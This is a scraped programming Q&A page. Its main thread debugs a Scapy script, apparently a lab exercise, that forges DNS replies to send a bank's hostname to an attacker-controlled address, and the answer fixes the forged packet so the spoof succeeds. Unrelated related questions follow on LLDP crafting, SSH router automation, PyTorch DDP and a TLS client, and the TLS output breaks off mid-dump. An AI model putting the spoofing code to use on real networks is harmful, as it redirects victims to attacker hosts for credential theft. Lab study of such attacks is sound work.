Please Note, the provided answer doesn't solve the problem for me.
In python I have:
resolver_ip = 127.0.0.2
resolver = dns.resolver.Resolver()
resolver.nameservers = [127.0.0.2] # IP of My DNS Server
# Query the DNS resolver for our hostname's IP
result = resolver.query("LetumiBank.com")
print('Bye')
I'm using python's scapy sniff function to detect whenever there is a DNS query to 127.0.0.2 to fake a response such that WEBSITE_NAME will get an ip equal to: 127.0.0.3. My code was:
def sniff_and_spoof(source_ip):
# TODO: Open a socket and bind it to the attacker's IP and WEB_PORT.
# This socket will be used to accept connections from victimized clients.
packet_filter = " and ".join([
"udp dst port 53", # Filter UDP port 53
"udp[10] & 0x80 = 0", # DNS queries only
"dst host 127.0.0.2"
])
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.bind((source_ip, WEB_PORT))
client_socket.listen()
cb = lambda org_arg: dns_callback(org_arg, (client_socket, source_ip))
sniff(filter=packet_filter, prn=cb, store=0, iface=net_interface, count=1)
and:
def dns_callback(packet, extra_args):
# TODO: Write callback function for handling DNS packets.
# Sends a spoofed DNS response for a query to HOSTNAME and calls handle_tcp_forwarding() after successful spoof.
eth = Ether(
src=packet[Ether].dst, dst=packet[Ether].src
)
ip = IP(
src=packet[IP].dst, dst=packet[IP].src
)
udp = UDP(
dport=packet[UDP].sport, sport=packet[UDP].dport
)
dns = DNS(
id=packet[DNS].id, qd=packet[DNS].qd,
aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
ar=DNSRR(
rrname=packet[DNS].qd.qname,
type='A',
ttl=600,
rdata='127.0.0.3')
)
response_packet = eth / ip / udp / dns
sendp(response_packet, iface=net_interface)
Even though I can see a good response in wireshark the query is being send over and over again and Bye doesn't seem to get ever printed. Why is that?
Wireshark output: (request in line 4 and its response in line 5)
enter image description here
Keeping the code running gives the following error:
result = resolver.query("LetumiBank.com")
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 992, in query
timeout = self._compute_timeout(start, lifetime)
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 799, in _compute_timeout
raise Timeout(timeout=duration)
dns.exception.Timeout: The DNS operation timed out after 30.00104331970215 seconds
UPDATE:
Tried this too, same problem:
eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)
ip = IP(src=packet[IP].dst, dst=packet[IP].src)
udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
dns = DNS(
id=packet[DNS].id,
aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
qd=DNSQR( # Query
qname=packet[DNSQR].qname
),
an=DNSRR( # Answer
rrname=packet[DNS].qd.qname,
type='A',
rclass=1,
ttl=600,
rdata='127.0.0.3'
)
)
ar=DNSRR() is wrong in your call to DNS().
Your answer should be in the an element. It is unfortunate Scapy uses such small names that are confusing.
You may also need a list because the sections, except the question, are storing multiple records, not just one.
So try an=DNSRR(...) or an=[DNSRR(...)] in your DNS() call.
A DNS packet can have up to 4 sections:
a question, called qd in Scapy
an answer, called an,
an authority, called ns
an additional part, called ar
Your ancount/arcount are right though, so maybe just a typo?
By not sending really a reply (that is the "answer" part of the packet is empty, even if you do reply with a DNS packet") the client does not get an answer for its query and hence its normal behavior is to try to get back hopefully an answer.
Scapy documentation at https://scapy.readthedocs.io/en/latest/api/scapy.layers.dns.html shows this "RFC" like schema:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LENGTH | ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ANCOUNT | NSCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ARCOUNT | QD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AN | NS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AR |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Fig. DNS
Where the RFC 1035 has:
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ID |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QDCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ANCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| NSCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ARCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
for the header and
+---------------------+
| Header |
+---------------------+
| Question | the question for the name server
+---------------------+
| Answer | RRs answering the question
+---------------------+
| Authority | RRs pointing toward an authority
+---------------------+
| Additional | RRs holding additional information
+---------------------+
for the whole packet.
So that explains at least why Answer=AN, Authority=NS and Additional=AR (I have to idea how the last two 2 letters monikers were chosen).
PS: regarding your comment about ttl that "doesn't work" without explanations on what the problem is, I don't see the problem you have (with Scapy 2.4.5):
>>> r=DNSRR(rrname='example.com', type='A', ttl=600, rdata='127.0.0.3')
>>> print(r)
WARNING: Calling str(pkt) on Python 3 makes no sense!
b'\x07example\x03com\x00\x00\x01\x00\x01\x00\x00\x02X\x00\x04\x7f\x00\x00\x03'
>>> r
<DNSRR rrname='example.com' type=A ttl=600 rdata=127.0.0.3 |>
>>> r.ttl
600
Related
I am using scapy.contrib.lldp library to craft an LLDP packet, with the following fields:
Chassis ID (l1)
Port ID (l2)
Time to live (l3)
System name (l4)
Generic Organisation Specific - custom data 1 (l5)
Generic Organisation Specific - custom data 2 (l6)
End of LLDP (l7)
The options for each field comes from a csv file imported as DataFrame and I use the library class for each field.
The problem I have is that after I craft the packet (p=ethernet/l1/l2/l3/l4/l5/l6/l7) the l6 field has the double amount of bytes it is supposed to have, from the read data. I also tried to set a fixed value but the problem persists.
Below is a sample of the packet in wireshark (ok packet and malformed packet), the DataFrame and relevant code.
Layer
Field
Value
Ethernet
dst
01:23:00:00:00:01
Ethernet
src
32:cb:cd:7b:5a:47
Ethernet
type
35020
LLDPDUChassisID
_type
1
LLDPDUChassisID
_length
7
LLDPDUChassisID
subtype
4
LLDPDUChassisID
family
None
LLDPDUChassisID
id
00:00:00:00:00:01
LLDPDUPortID
_type
2
LLDPDUPortID
_length
2
LLDPDUPortID
subtype
7
LLDPDUPortID
family
None
LLDPDUPortID
id
1
LLDPDUTimeToLive
_type
3
LLDPDUTimeToLive
_length
2
LLDPDUTimeToLive
ttl
4919
LLDPDUSystemName
_type
5
LLDPDUSystemName
_length
10
LLDPDUSystemName
system_name
openflow:1
LLDPDUGenericOrganisationSpecific
_type
127
LLDPDUGenericOrganisationSpecific
_length
16
LLDPDUGenericOrganisationSpecific
org_code
9953
LLDPDUGenericOrganisationSpecific
subtype
0
LLDPDUGenericOrganisationSpecific
data
openflow:1:1
LLDPDUGenericOrganisationSpecific
_type
127
LLDPDUGenericOrganisationSpecific
_length
20
LLDPDUGenericOrganisationSpecific
org_code
9953
LLDPDUGenericOrganisationSpecific
subtype
1
LLDPDUGenericOrganisationSpecific
data
b'`\xafE\x16\t\xa0#5\x02\x7f\xd5\p\xf7\x11A'
LLDPDUEndOfLLDPDU
_type
0
LLDPDUEndOfLLDPDU
_length
0
def getlldppack(host_2,ifa):
lim = 1
log = "/root/log.log"
file = "/root/dic_"+str(host_2)+"_"+str(lim)+".csv"
while lim<5:
try:
lldp1 = pd.read_csv(file)
except:
with open(log,'a') as lf:
lf.write("error when reading the packet "+file+" for count "+str(lim)+"\n")
time.sleep(8)
else:
lldp1 = lldp1.iloc[: , 1:]
e1=lldp1.loc[(lldp1['Layer']=='Ethernet')&(lldp1['Field']=='dst')].iloc[0,2]
e2=lldp1.loc[(lldp1['Layer']=='Ethernet')&(lldp1['Field']=='src')].iloc[0,2]
e3=int(lldp1.loc[(lldp1['Layer']=='Ethernet')&(lldp1['Field']=='type')].iloc[0,2])
e = Ether(dst=e1, src=e2, type=e3)
a1=int(lldp1.loc[(lldp1['Layer']=='LLDPDUChassisID')&(lldp1['Field']=='_type')].iloc[0,2])
a2=int(lldp1.loc[(lldp1['Layer']=='LLDPDUChassisID')&(lldp1['Field']=='_length')].iloc[0,2])
a3=int(lldp1.loc[(lldp1['Layer']=='LLDPDUChassisID')&(lldp1['Field']=='subtype')].iloc[0,2])
a4=lldp1.loc[(lldp1['Layer']=='LLDPDUChassisID')&(lldp1['Field']=='family')].iloc[0,2]
a5=lldp1.loc[(lldp1['Layer']=='LLDPDUChassisID')&(lldp1['Field']=='id')].iloc[0,2]
b1=int(lldp1.loc[(lldp1['Layer']=='LLDPDUPortID')&(lldp1['Field']=='_type')].iloc[0,2])
b2=int(lldp1.loc[(lldp1['Layer']=='LLDPDUPortID')&(lldp1['Field']=='_length')].iloc[0,2])
b3=int(lldp1.loc[(lldp1['Layer']=='LLDPDUPortID')&(lldp1['Field']=='subtype')].iloc[0,2])
b4=lldp1.loc[(lldp1['Layer']=='LLDPDUPortID')&(lldp1['Field']=='family')].iloc[0,2]
b5=int(lldp1.loc[(lldp1['Layer']=='LLDPDUPortID')&(lldp1['Field']=='id')].iloc[0,2])
c1=int(lldp1.loc[(lldp1['Layer']=='LLDPDUTimeToLive')&(lldp1['Field']=='_type')].iloc[0,2])
c2=int(lldp1.loc[(lldp1['Layer']=='LLDPDUTimeToLive')&(lldp1['Field']=='_length')].iloc[0,2])
c3=int(lldp1.loc[(lldp1['Layer']=='LLDPDUTimeToLive')&(lldp1['Field']=='ttl')].iloc[0,2])
d1=int(lldp1.loc[(lldp1['Layer']=='LLDPDUSystemName')&(lldp1['Field']=='_type')].iloc[0,2])
d2=int(lldp1.loc[(lldp1['Layer']=='LLDPDUSystemName')&(lldp1['Field']=='_length')].iloc[0,2])
d3=lldp1.loc[(lldp1['Layer']=='LLDPDUSystemName')&(lldp1['Field']=='system_name')].iloc[0,2]
e1=int(lldp1.loc[(lldp1['Layer']=='LLDPDUGenericOrganisationSpecific')&(lldp1['Field']=='_type')].iloc[0,2])
e2=int(lldp1.loc[(lldp1['Layer']=='LLDPDUGenericOrganisationSpecific')&(lldp1['Field']=='_length')].iloc[0,2])
e3=int(lldp1.loc[(lldp1['Layer']=='LLDPDUGenericOrganisationSpecific')&(lldp1['Field']=='org_code')].iloc[0,2])
e4=int(lldp1.loc[(lldp1['Layer']=='LLDPDUGenericOrganisationSpecific')&(lldp1['Field']=='subtype')].iloc[0,2])
e5=lldp1.loc[(lldp1['Layer']=='LLDPDUGenericOrganisationSpecific')&(lldp1['Field']=='data')].iloc[0,2]
f1=int(lldp1.loc[(lldp1['Layer']=='LLDPDUGenericOrganisationSpecific')&(lldp1['Field']=='_type')].iloc[1,2])
f2=int(lldp1.loc[(lldp1['Layer']=='LLDPDUGenericOrganisationSpecific')&(lldp1['Field']=='_length')].iloc[1,2])
f3=int(lldp1.loc[(lldp1['Layer']=='LLDPDUGenericOrganisationSpecific')&(lldp1['Field']=='org_code')].iloc[1,2])
f4=int(lldp1.loc[(lldp1['Layer']=='LLDPDUGenericOrganisationSpecific')&(lldp1['Field']=='subtype')].iloc[1,2])
f5=lldp1.loc[(lldp1['Layer']=='LLDPDUGenericOrganisationSpecific')&(lldp1['Field']=='data')].iloc[1,2]
g1=int(lldp1.loc[(lldp1['Layer']=='LLDPDUEndOfLLDPDU')&(lldp1['Field']=='_type')].iloc[0,2])
g2=int(lldp1.loc[(lldp1['Layer']=='LLDPDUEndOfLLDPDU')&(lldp1['Field']=='_length')].iloc[0,2])
l1 = LLDPDUChassisID(_type=a1,_length=a2,subtype=a3,family=a4,id=a5)
l2 = LLDPDUPortID(_type=b1,_length=b2,subtype=b3,family=b4,id=str(b5))
l3 = LLDPDUTimeToLive(_type=c1,_length=c2,ttl=c3)
auxo=d3
l4 = LLDPDUSystemName(_type=d1,_length=d2,system_name=auxo)
auxo=e5
l5 = LLDPDUGenericOrganisationSpecific(_type=e1,_length=e2,org_code=e3,subtype=e4,data=auxo)
auxa=f5[2:-1]
l6 = LLDPDUGenericOrganisationSpecific(_type=f1,_length=f2,org_code=f3,subtype=f4,data=auxa)
l7 = LLDPDUEndOfLLDPDU(_type=0,_length=0)
lldpu_layer = LLDPDU()
lldpu_layer = l1/l2/l3/l4/l5/l6/l7
pack = e/lldpu_layer
flag = False
sendp(pack,count=1, iface=ifa)
flag = True
lim = lim +1
with open(log,'a') as lf:
lf.write('read packet '+file+"\n")
I tried changing the data types, also fixed the data in the option "data" of
LLDPDUGenericOrganisationSpecific, but it did not work.
I hope I can have a packet with the right length so it reproduces exactly the non-crafted packet.
The problem was the encoding, it was wrong since I wrote the data in the data frame.
The solution was to encode with base64 BEFORE saving the information in the data frame, I used this explanation: Convert byte[] to base64 and ASCII in Python
That changed my data from b'`\xafE\x16\t\xa0#5\x02\x7f\xd5\p\xf7\x11A' to b'YK9FFgmgIzUCf9VccPcRQQ=='.
Then, when I had to put it in the field, I removed the b'' characters and then did the decoding, as said in the link.
I am trying to run a very basic script that opens a SSH session to a software defined router, then issue a command to connect to one of its branch routers. Exactly what would be happening if you just opened PuTTY and connected to it, then connected again. After it connects to the second router, I would like to issue a reboot command and close the connection.
I have been able to get Fabric to connect to the first router, enter the command and password, but am unable to get it to output to the second session. It's my understanding that this is just emulating the terminal in a way and this function should work. Says something along these lines in the docs but provides no examples.
The code
initpass = Responder(pattern = r't128#127.127.0.1\'s password:', response = 'password\n')
sudopass = Responder(pattern=r'[sudo] password for t128:', response='password\n')
conductor = Connection(host='admin#first.router.host', connect_kwargs={'password': 'password'})
conductor.run('connect router ASMPLBRT01 node ASMPLBRT01A username t128', pty=True, watchers=[initpass])
conductor.run('sudo shutdown', pty=False)
And this is the expected SSH output from a putty session.
Using username "admin".
End of banner message from server
admin#first.router's password:
Last login: Fri Feb 25 11:15:03 2022 from 192.168.13.243
Welcome to ConnX AIStarting the PCLI...
admin#firstrouter.firstrouterA# connect router second.router node second.routerA username t128
Connecting...
t128#127.127.0.1's password:
FIPS mode initialized. SSH client running in FIPS 140-2 mode
Last login: Fri Feb 25 11:41:08 2022 from second.router.host
+---------------------------------------------------------------------+
| Welcome to: |
| _ ____ ___ _ _ _ |
| / |___ \( _ )| |_ ___ ___| |__ _ __ ___ | | ___ __ _ _ _ |
| | | __) / _ \| __/ _ \/ __| '_ \| '_ \ / _ \| |/ _ \ / _` | | | | |
| | |/ __/ (_) | || __/ (__| | | | | | | (_) | | (_) | (_| | |_| | |
| |_|_____\___/ \__\___|\___|_| |_|_| |_|\___/|_|\___/ \__, |\__, | |
| |___/ |___/ |
| Secure Vector Routing ... |
| |
+---------------------------------------------------------------------+
[t128#second.router.host ~]$ sudo shutdown
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for t128:
Shutdown scheduled for Fri 2022-02-25 12:56:13 EST, use 'shutdown -c' to cancel.
[t128#asmplbrt01 ~]$
Broadcast message from root#asmplbrt01 (Fri 2022-02-25 12:55:13 EST):
The system is going down for power-off at Fri 2022-02-25 12:56:13 EST!
[t128#asmplbrt01 ~]$
I was to set up DDP (distributed data parallel) on a DGX A100 but it doesn't work. Whenever I try to run it simply hangs. My code is super simple just spawning 4 processes for 4 gpus (for the sake of debugging I simply destroy the group immediately but it doesn't even reach there):
def find_free_port():
""" https://stackoverflow.com/questions/1365265/on-localhost-how-do-i-pick-a-free-port-number """
import socket
from contextlib import closing
with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
s.bind(('', 0))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
return str(s.getsockname()[1])
def setup_process(rank, world_size, backend='gloo'):
"""
Initialize the distributed environment (for each process).
gloo: is a collective communications library (https://github.com/facebookincubator/gloo). My understanding is that
it's a library/API for process to communicate/coordinate with each other/master. It's a backend library.
export NCCL_SOCKET_IFNAME=eth0
export NCCL_IB_DISABLE=1
https://stackoverflow.com/questions/61075390/about-pytorch-nccl-error-unhandled-system-error-nccl-version-2-4-8
https://pytorch.org/docs/stable/distributed.html#common-environment-variables
"""
if rank != -1: # -1 rank indicates serial code
print(f'setting up rank={rank} (with world_size={world_size})')
# MASTER_ADDR = 'localhost'
MASTER_ADDR = '127.0.0.1'
MASTER_PORT = find_free_port()
# set up the master's ip address so this child process can coordinate
os.environ['MASTER_ADDR'] = MASTER_ADDR
print(f"{MASTER_ADDR=}")
os.environ['MASTER_PORT'] = MASTER_PORT
print(f"{MASTER_PORT}")
# - use NCCL if you are using gpus: https://pytorch.org/tutorials/intermediate/dist_tuto.html#communication-backends
if torch.cuda.is_available():
# unsure if this is really needed
# os.environ['NCCL_SOCKET_IFNAME'] = 'eth0'
# os.environ['NCCL_IB_DISABLE'] = '1'
backend = 'nccl'
print(f'{backend=}')
# Initializes the default distributed process group, and this will also initialize the distributed package.
dist.init_process_group(backend, rank=rank, world_size=world_size)
# dist.init_process_group(backend, rank=rank, world_size=world_size)
# dist.init_process_group(backend='nccl', init_method='env://', world_size=world_size, rank=rank)
print(f'--> done setting up rank={rank}')
dist.destroy_process_group()
mp.spawn(setup_process, args=(4,), world_size=4)
why is this hanging?
nvidia-smi output:
$ nvidia-smi
Fri Mar 5 12:47:17 2021
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.102.04 Driver Version: 450.102.04 CUDA Version: 11.0 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|===============================+======================+======================|
| 0 A100-SXM4-40GB On | 00000000:07:00.0 Off | 0 |
| N/A 26C P0 51W / 400W | 0MiB / 40537MiB | 0% Default |
| | | Disabled |
+-------------------------------+----------------------+----------------------+
| 1 A100-SXM4-40GB On | 00000000:0F:00.0 Off | 0 |
| N/A 25C P0 52W / 400W | 3MiB / 40537MiB | 0% Default |
| | | Disabled |
+-------------------------------+----------------------+----------------------+
| 2 A100-SXM4-40GB On | 00000000:47:00.0 Off | 0 |
| N/A 25C P0 51W / 400W | 3MiB / 40537MiB | 0% Default |
| | | Disabled |
+-------------------------------+----------------------+----------------------+
| 3 A100-SXM4-40GB On | 00000000:4E:00.0 Off | 0 |
| N/A 25C P0 51W / 400W | 3MiB / 40537MiB | 0% Default |
| | | Disabled |
+-------------------------------+----------------------+----------------------+
| 4 A100-SXM4-40GB On | 00000000:87:00.0 Off | 0 |
| N/A 30C P0 52W / 400W | 3MiB / 40537MiB | 0% Default |
| | | Disabled |
+-------------------------------+----------------------+----------------------+
| 5 A100-SXM4-40GB On | 00000000:90:00.0 Off | 0 |
| N/A 29C P0 53W / 400W | 0MiB / 40537MiB | 0% Default |
| | | Disabled |
+-------------------------------+----------------------+----------------------+
| 6 A100-SXM4-40GB On | 00000000:B7:00.0 Off | 0 |
| N/A 29C P0 52W / 400W | 0MiB / 40537MiB | 0% Default |
| | | Disabled |
+-------------------------------+----------------------+----------------------+
| 7 A100-SXM4-40GB On | 00000000:BD:00.0 Off | 0 |
| N/A 48C P0 231W / 400W | 7500MiB / 40537MiB | 99% Default |
| | | Disabled |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=============================================================================|
| 7 N/A N/A 147243 C python 7497MiB |
+-----------------------------------------------------------------------------+
How do I set up ddp in this new machine?
Update
btw I've successfully installed APEX because some other links say to do that but it still fails. For I did:
went to: https://github.com/NVIDIA/apex follwed their instructions
git clone https://github.com/NVIDIA/apex
cd apex
pip install -v --disable-pip-version-check --no-cache-dir --global-option="--cpp_ext" --global-option="--cuda_ext" ./
but before the above I had to update gcc:
conda install -c psi4 gcc-5
it did install it as I successfully imported it but it didn't help.
Now it actually prints an error msg:
Traceback (most recent call last):
File "/home/miranda9/miniconda3/envs/metalearning/lib/python3.8/multiprocessing/process.py", line 315, in _bootstrap
self.run()
File "/home/miranda9/miniconda3/envs/metalearning/lib/python3.8/multiprocessing/process.py", line 108, in run
self._target(*self._args, **self._kwargs)
File "/home/miranda9/miniconda3/envs/metalearning/lib/python3.8/site-packages/torch/multiprocessing/spawn.py", line 19, in _wrap
fn(i, *args)
KeyboardInterrupt
Process SpawnProcess-3:
Traceback (most recent call last):
File "/home/miranda9/miniconda3/envs/metalearning/lib/python3.8/site-packages/torch/multiprocessing/spawn.py", line 19, in _wrap
fn(i, *args)
File "/home/miranda9/ML4Coq/ml4coq-proj/embeddings_zoo/tree_nns/main_brando.py", line 252, in train
setup_process(rank, world_size=opts.world_size)
File "/home/miranda9/ML4Coq/ml4coq-proj/embeddings_zoo/distributed.py", line 85, in setup_process
dist.init_process_group(backend, rank=rank, world_size=world_size)
File "/home/miranda9/miniconda3/envs/metalearning/lib/python3.8/site-packages/torch/distributed/distributed_c10d.py", line 436, in init_process_group
store, rank, world_size = next(rendezvous_iterator)
File "/home/miranda9/miniconda3/envs/metalearning/lib/python3.8/site-packages/torch/distributed/rendezvous.py", line 179, in _env_rendezvous_handler
store = TCPStore(master_addr, master_port, world_size, start_daemon, timeout)
RuntimeError: connect() timed out.
During handling of the above exception, another exception occurred:
related:
https://github.com/pytorch/pytorch/issues/9696
https://discuss.pytorch.org/t/dist-init-process-group-hangs-silently/55347/2
https://forums.developer.nvidia.com/t/imagenet-hang-on-dgx-1-when-using-multiple-gpus/61919
apex suggestion: https://discourse.mozilla.org/t/hangs-on-dist-init-process-group-in-distribute-py/44686
https://github.com/pytorch/pytorch/issues/15638
https://github.com/pytorch/pytorch/issues/53395
The following fixes are based on Writing Distributed Applications with PyTorch, Initialization Methods.
Issue 1:
It will hang unless you pass in nprocs=world_size to mp.spawn(). In other words, it's waiting for the "whole world" to show up, process-wise.
Issue 2:
The MASTER_ADDR and MASTER_PORT need to be the same in each process' environment and need to be a free address:port combination on the machine where the process with rank 0 will be run.
Both of these are implied or directly read from the following quote from the link above (emphasis added):
Environment Variable
We have been using the environment variable initialization method
throughout this tutorial. By setting the following four environment
variables on all machines, all processes will be able to properly
connect to the master, obtain information about the other processes,
and finally handshake with them.
MASTER_PORT: A free port on the machine that will host the process with rank 0.
MASTER_ADDR: IP address of the machine that will host the process with rank 0.
WORLD_SIZE: The total number of processes, so that the master knows how many workers to wait for.
RANK: Rank of each process, so they will know whether it is the master of a worker.
Here's some code to demonstrate both of those in action:
import torch
import torch.multiprocessing as mp
import torch.distributed as dist
import os
def find_free_port():
""" https://stackoverflow.com/questions/1365265/on-localhost-how-do-i-pick-a-free-port-number """
import socket
from contextlib import closing
with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
s.bind(('', 0))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
return str(s.getsockname()[1])
def setup_process(rank, master_addr, master_port, world_size, backend='gloo'):
print(f'setting up {rank=} {world_size=} {backend=}')
# set up the master's ip address so this child process can coordinate
os.environ['MASTER_ADDR'] = master_addr
os.environ['MASTER_PORT'] = master_port
print(f"{master_addr=} {master_port=}")
# Initializes the default distributed process group, and this will also initialize the distributed package.
dist.init_process_group(backend, rank=rank, world_size=world_size)
print(f"{rank=} init complete")
dist.destroy_process_group()
print(f"{rank=} destroy complete")
if __name__ == '__main__':
world_size = 4
master_addr = '127.0.0.1'
master_port = find_free_port()
mp.spawn(setup_process, args=(master_addr,master_port,world_size,), nprocs=world_size)
import google_trans_new
from google_trans_new
import google_translator
translator = google_translator()
langd = []
for i in range(10):
try:
t= translator.detect(df['Title'][i])
except:
t='no'
langd.append(t)
df["Language"] = langd
df.head(10)
Here is the code which I am using, and I get the output sometimes and sometimes I don't.
Output:
Title| Description | Language
0 | तूर विकणे आहे 20किटल | no
1 | Foolkobi Holsel ret madhe milel | no
2 | power tiller खरेदी करायचा आहे VST Shakti | no
3 | जीरा बेचना है | no
Getting my output "no" most times, dont know why!
I am trying to send HTTP/2 GET request over TLS 1.2 using scapy ssl library. The code is given below. I am not getting any error but the web page is also not received. Please let me know what are the issues with the code.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import with_statement
from __future__ import print_function
import socket
import sys
try:
# This import works from the project directory
from scapy_ssl_tls.ssl_tls import *
except ImportError:
# If you installed this package via pip, you just need to execute this
from scapy.layers.ssl_tls import *
tls_version = TLSVersion.TLS_1_2
def tls_hello(sock):
client_hello = TLSRecord(version=tls_version) / TLSHandshake() /\
TLSClientHello(version=tls_version, compression_methods=[TLSCompressionMethod.NULL, ],
cipher_suites=[TLSCipherSuite.ECDHE_RSA_WITH_AES_128_CBC_SHA256, ], extensions=[TLSExtension() /
TLSExtALPN(protocol_name_list=[TLSALPNProtocol(data="h2"),
TLSALPNProtocol(data="h2-16"),
TLSALPNProtocol(data="h2-14"),
TLSALPNProtocol(data="http/1.1"),
])],)
# cipher_suites=[TLSCipherSuite.RSA_WITH_AES_128_CBC_SHA, ])
# cipher_suites=[TLSCipherSuite.RSA_WITH_RC4_128_SHA, ])
# cipher_suites=[TLSCipherSuite.DHE_RSA_WITH_AES_128_CBC_SHA, ])
# cipher_suites=[TLSCipherSuite.DHE_DSS_WITH_AES_128_CBC_SHA, ])
sock.sendall(client_hello)
server_hello = sock.recvall()
server_hello.show()
def tls_client_key_exchange(sock):
client_key_exchange = TLSRecord(version=tls_version) / TLSHandshake() / sock.tls_ctx.get_client_kex_data()
client_ccs = TLSRecord(version=tls_version) / TLSChangeCipherSpec()
sock.sendall(TLS.from_records([client_key_exchange, client_ccs]))
sock.sendall(to_raw(TLSFinished(), sock.tls_ctx))
server_finished = sock.recvall()
server_finished.show()
def tls_client(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(ip)
sock = TLSSocket(sock, client=True)
print("Connected to server: %s" % (ip,))
except socket.timeout:
print("Failed to open connection to server: %s" % (ip,), file=sys.stderr)
else:
tls_hello(sock)
tls_client_key_exchange(sock)
print("Finished handshake. Sending application data (GET request)")
print("+++++++++++++++++")
sock.sendall(to_raw(TLSPlaintext(data="PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"), sock.tls_ctx))
#sock.sendall(to_raw(TLSPlaintext(data="GET / HTTP/1.1\r\nHOST: localhost\r\n\r\n"), sock.tls_ctx))
print("+++++++++++++++++")
resp = sock.recvall()
print("Got response from server")
resp.show()
print(sock.tls_ctx)
finally:
sock.close()
if __name__ == "__main__":
if len(sys.argv) > 2:
server = (sys.argv[1], int(sys.argv[2]))
else:
server = ("127.0.0.1", 443)
tls_client(server)
The output which I am getting is:
Connected to server: ('127.0.0.1', 443)
###[ SSL/TLS ]###
\records \
|###[ TLS Record ]###
| content_type= handshake
| version = TLS_1_2
| length = 0x55
|###[ TLS Handshake ]###
| type = server_hello
| length = 0x51
|###[ TLS Server Hello ]###
| version = TLS_1_2
| gmt_unix_time= 1964528416
| random_bytes= '\xa5\x11\x11\x81\xc3V\x03Q\xdb>\x8b\x1d\x9e\x13\xa7\xfelT\x80\x97\xf5\x06.4\x18\xc8\x85X'
| session_id_length= 0x20
| session_id= '\x93\xfd\x95\xbc\x1d68w\x19{8\x83dz\xb4\\r\x81\xb7&\xb5\x14\x1d\xfc<fR\x00\xe7\xd3{\x90'
| cipher_suite= ECDHE_RSA_WITH_AES_128_CBC_SHA256
| compression_method= NULL
| extensions_length= 0x9
| \extensions\
| |###[ TLS Extension ]###
| | type = application_layer_protocol_negotiation
| | length = 0x5
| |###[ TLS Extension Application-Layer Protocol Negotiation ]###
| | length = 0x3
| | \protocol_name_list\
| | |###[ TLS ALPN Protocol ]###
| | | length = 0x2
| | | data = 'h2'
|###[ TLS Record ]###
| content_type= handshake
| version = TLS_1_2
| length = 0x41f
|###[ TLS Handshake ]###
| type = certificate
| length = 0x41b
|###[ TLS Certificate List ]###
| length = 0x418
| \certificates\
| |###[ TLS Certificate ]###
| | length = 0x415
| | \data \
| | |###[ Raw ]###
